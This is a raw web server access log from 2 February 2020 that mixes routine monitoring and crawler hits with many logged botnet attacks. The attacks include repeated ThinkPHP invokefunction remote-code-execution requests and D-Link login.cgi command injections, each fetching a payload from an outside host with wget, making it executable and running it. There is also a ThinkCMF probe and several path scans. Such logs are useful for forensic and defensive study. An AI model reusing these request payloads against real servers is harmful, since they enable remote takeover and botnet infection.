42.117.20.109 - - [02/Feb/2020:06:44:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.140.156 - - [02/Feb/2020:06:49:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.25.111 - - [02/Feb/2020:06:51:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.216.96.254 - - [02/Feb/2020:06:52:23 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.254 - - [02/Feb/2020:06:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
117.0.196.128 - - [02/Feb/2020:06:52:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.4.28 - - [02/Feb/2020:06:53:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.207 - - [02/Feb/2020:06:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.90.255.216 - - [02/Feb/2020:06:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.118.163.160 - - [02/Feb/2020:06:56:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.151.237.0 - - [02/Feb/2020:07:01:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [02/Feb/2020:07:02:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [02/Feb/2020:07:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.105.159.199 - - [02/Feb/2020:07:04:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.106.220 - - [02/Feb/2020:07:04:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.35.85.192 - - [02/Feb/2020:07:04:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:07:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [02/Feb/2020:07:05:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:07:05:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:07:05:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [02/Feb/2020:07:05:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:07:05:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.155.246.150 - - [02/Feb/2020:07:07:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.239.141.155 - - [02/Feb/2020:07:08:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.100.15.32 - - [02/Feb/2020:07:08:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.116.132.79 - - [02/Feb/2020:07:09:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.225.250 - - [02/Feb/2020:07:09:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.29.15.227 - - [02/Feb/2020:07:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
171.229.251.23 - - [02/Feb/2020:07:10:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.123.145 - - [02/Feb/2020:07:11:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.209.146 - - [02/Feb/2020:07:12:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.191.98 - - [02/Feb/2020:07:13:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.196.8 - - [02/Feb/2020:07:13:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.70.136.224 - - [02/Feb/2020:07:14:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
183.80.240.213 - - [02/Feb/2020:07:14:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.141.60 - - [02/Feb/2020:07:14:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:07:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.246.147.169 - - [02/Feb/2020:07:16:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:07:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.33.37.221 - - [02/Feb/2020:07:18:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.232.155 - - [02/Feb/2020:07:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:07:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.20.111 - - [02/Feb/2020:07:20:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.154.117 - - [02/Feb/2020:07:23:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.0.121.227 - - [02/Feb/2020:07:23:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.69.191.35 - - [02/Feb/2020:07:24:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.1.222.179 - - [02/Feb/2020:07:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
73.245.127.219 - - [02/Feb/2020:07:25:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.206.39 - - [02/Feb/2020:07:25:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.82 - - [02/Feb/2020:07:25:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.1.208 - - [02/Feb/2020:07:29:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.238.149 - - [02/Feb/2020:07:30:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:07:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.175.181.89 - - [02/Feb/2020:07:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.168.15 - - [02/Feb/2020:07:32:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.206 - - [02/Feb/2020:07:33:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.167.250 - - [02/Feb/2020:07:37:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [02/Feb/2020:07:39:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [02/Feb/2020:07:40:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [02/Feb/2020:07:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.214.142 - - [02/Feb/2020:07:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.216.245.215 - - [02/Feb/2020:07:43:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [02/Feb/2020:07:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.102.132 - - [02/Feb/2020:07:44:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.171.231 - - [02/Feb/2020:07:48:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [02/Feb/2020:07:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:07:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [02/Feb/2020:07:52:03 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
222.186.19.221 - - [02/Feb/2020:07:52:12 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
211.214.19.125 - - [02/Feb/2020:07:52:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
112.72.93.32 - - [02/Feb/2020:07:52:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.192.214.235 - - [02/Feb/2020:07:52:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:28 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:28 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
